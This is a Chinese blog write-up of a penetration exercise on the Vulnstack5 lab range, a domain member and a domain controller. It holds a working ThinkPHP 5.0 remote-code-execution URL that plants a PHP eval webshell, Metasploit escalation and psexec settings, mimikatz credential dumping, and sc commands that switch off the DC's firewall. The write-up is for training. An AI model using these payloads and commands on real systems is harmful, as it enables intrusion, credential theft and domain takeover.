【靶场练习】vulnstack5
Vulnstack5是红日安全提供的一个内网渗透靶场,包含一个成员和一个域控机器(DC),简单练习总结一下内网相关知识
环境配置
下载vulnstack5:http://vulnstack.qiyuanxuetang.net/vuln/detail/7/
下载完成后导入,使用VMware的扫描功能一键导入
添加一个VMnet14网络,用于模拟靶机内网连接
配置外网Win7的网络,两张网卡分别改为NAT模式、自定义的VMnet14
同时需要登录机器,桥接的网卡改为DHCP模式
同时需要手动开启phpstudy
内网Windows2008只有一张网卡,改为VMnet14即可
上帝视角
域成员Win7:
- 10.128.0.26 外
- 192.168.138.136 内
- sun\heart 123.com
- sun\Administrator dc123.com
域控Window
- 192.168.138.138 内
- sun\admin 2022.com
攻击机Kali
- 10.128.0.9
Web渗透
访问web页面,提示为ThinkPhp5.0
直接使用payload,参考:https://blog.csdn.net/weixin_40709439/article/details/86564457
写入webshell
http://10.128.0.26/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo+"<?php+@eval($_REQUEST['cmd']);?>"+>shell.php
蚁剑连接
内网渗透
基本信息收集
ipconfig、systeminfo、tasklist、net user、whoami、wmic product等等
MSF上线
蚁剑的shell不是很方便,所以先上线MSF
tasklist发现没有杀软,直接生成马子上线即可
主机发现
ICMP协议
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.138.%I|findstr "TTL="
扫到一台138
Netbios协议
扫描之前添加路由
route add 192.168.138.0 255.255.255.0 1
使用MSF自带模块进行扫描
use auxiliary/scanner/netbios/nbname
扫到138及相关信息
ARP协议
仍然用MSF的模块
use auxiliary/scanner/discovery/arp_sweep
没有扫描目标网段内机器,不知道是不是姿势不对= =
SNMP协议
仍然使用MSF模块
use auxiliary/scanner/snmp/snmp_enum
未扫出主机,应该是没有开放该服务
SMB协议
MSF模块
use scanner/smb/smb_version
扫描到138主机及相关信息
定位DC
ipconfig
ipconfig /all
内网网卡的DNS ip一般就是DC的IP
nslookup确认一下
时间服务器
net time /domain
nltest命令
nltest /DCLIST:<域名>
enum_domain模块
run post/windows/gather/enum_domain
查询所有域用户
直接查询
net user /domain
查询所有域用户信息
使用wmic
wmic useraccount get /all
横向移动
使用IPC命令建立连接(IPC连接为Windows自带的远程命令行连接方式)
账号密码为下文通过MSF的kiwi模块抓取到的
net use \\192.168.138.138\ipc$ "dc123.com" /user:Administrator
虽然net user没有显示,但实际已经建立连接
目标主机信息搜集
完成IPC连接后可以做很多事情,如dir命令
dir \\192.168.138.138\c$
tasklist命令
tasklist /S 192.168.138.138 /U Administrator /P dc123.com
哈希传递攻击
在只有NTLM但是没有明文密码的情况下,可以尝试哈希传递攻击来登录远程主机。
票据传递攻击
在甚至没有成功获得管理员权限的情况下,还可以尝试票据传递攻击。
MSF框架下的渗透测试
提权
getsystem
当然也有提权失败的时候
通过补丁信息提权
枚举补丁情况
run post/windows/gather/enum_patches
直接查询建议的EXP
run post/multi/recon/local_exploit_suggester
后续使用相关的EXP进行提权尝试,实战不建议通过这种方式,容器造成机器DOS或蓝屏
查找有漏洞的服务
windows的服务通常是以system权限运行,若当前用户可以修改服务相关的脚本文件,则可以进行提权
use exploit/windows/local/service_permissions
注册表键alwaysInstalledElevated
该键决定低权限用户能否以system权限安装文件
use exploit/windows/local/always_install_elevated
可信任服务路径漏洞
use exploit/windows/local/unquoted_service_path
安装配置文件密码泄露
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐台配置,而会使用脚本化批量部署的方法。在这一过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中有一些可能包含本地管理员账号和密码等信息。
use post/windows/gather/enum_unattend
UAC提权
use exploit/windows/local/bypassuac
令牌窃取
使用incognito模块伪造身份
加载模块
load incognito
列出可用的用户令牌
list_tokens -u
使用以下命令假冒一个用户
impersonate_token SUN\\Administrator
使用kiwi模块获取令牌
加载模块
load kiwi
获取所有类型的密码
creds_all
横向移动
psexec+sc登录域控
由于抓取到了域管的密码,可使用smb/psexec模块尝试登录域控
命令如下
use windows/smb/psexec
set rhosts 192.168.138.138
set SMBDomain SUN
set payload windows/meterpreter/bind_tcp
set smbuser Administrator
set smbpass dc123.com
run
攻击失败
尝试用sc指令关闭DC的防火墙,命令如下:
主要做的是创建一个服务并执行
sc \\192.168.138.138 create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\192.168.138.138 start unablefirewall
再尝试攻击,成功拿下域控
kiwi令牌窃取
这里直接creds_all没有任何结果
使用以下命令:
kiwi_cmd privilege::debug
kiwi_cmd sekurlsa::logonPasswords
第二条命令报错,需要迁移到64位的进程
迁移后再次执行,抓取到密码
使用CS进行渗透
cs提供了图形化界面,自带诸多后渗透模块,常用于团队的合作渗透
外网上线
生成一个http的listener
再生成一个webdelivery,并选择该监听器
弹出一段powershell指令,蚁剑中执行即可成功上线
设置交互间隔,并执行hashdump
提权
可直接使用CVE尝试提权,默认应该只有两个,需要加载其它师傅开发的cna文件(插件)
窃取令牌
mimikatz读取内存中的密码,和MSF中的原理基本一样